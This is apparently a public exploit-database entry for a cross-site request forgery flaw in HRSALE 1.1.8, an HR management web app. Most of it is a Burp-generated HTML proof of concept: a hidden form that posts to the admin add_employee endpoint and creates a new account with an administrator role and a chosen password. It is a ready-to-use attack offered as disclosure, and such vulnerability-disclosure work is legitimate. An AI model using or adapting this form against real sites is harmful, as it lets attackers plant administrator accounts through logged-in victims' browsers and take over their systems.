Share
# Exploit Title: HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-03-11
# Exploit Author: Ismail Akıcı
# Vendor Homepage: http://hrsale.com/
# Software Link : http://demo.hrsale.com/
# Software : HRSALE v1.1.8
# Product Version: v1.1.8
# Vulnerability Type : Cross-Site Request Forgery (Add Admin)
# Vulnerability : Cross-Site Request Forgery

# Description :
# CSRF vulnerability was discovered in v1.1.8 version of HRSALE.
# With this vulnerability, authorized users can be added to the system.

HTML CSRF PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.hrsale.com/admin/employees/add_employee" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;user" value="1" />
      <input type="hidden" name="csrf&#95;hrsale" value="e8ed76f1f2110f7244b58062e2209961" />
      <input type="hidden" name="first&#95;name" value="Ismail" />
      <input type="hidden" name="last&#95;name" value="Akici" />
      <input type="hidden" name="company&#95;id" value="1" />
      <input type="hidden" name="location&#95;id" value="1" />
      <input type="hidden" name="username" value="ismailtakici" />
      <input type="hidden" name="email" value="ismail&#46;akici&#64;gmail&#46;com" />
      <input type="hidden" name="date&#95;of&#95;birth" value="2020&#45;03&#45;11" />
      <input type="hidden" name="contact&#95;no" value="5554443322" />
      <input type="hidden" name="employee&#95;id" value="1" />
      <input type="hidden" name="date&#95;of&#95;joining" value="2020&#45;03&#45;11" />
      <input type="hidden" name="department&#95;id" value="1" />
      <input type="hidden" name="subdepartment&#95;id" value="YES" />
      <input type="hidden" name="designation&#95;id" value="9" />
      <input type="hidden" name="gender" value="Male" />
      <input type="hidden" name="office&#95;shift&#95;id" value="1" />
      <input type="hidden" name="password" value="Test1234&#33;" />
      <input type="hidden" name="confirm&#95;password" value="Test1234&#33;" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="leave&#95;categories&#91;&#93;" value="0" />
      <input type="hidden" name="leave&#95;categories&#91;&#93;" value="1" />
      <input type="hidden" name="address" value="Test&#32;Address" />
      <input type="hidden" name="is&#95;ajax" value="1" />
      <input type="hidden" name="add&#95;type" value="employee" />
      <input type="hidden" name="form" value="add&#95;employee" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>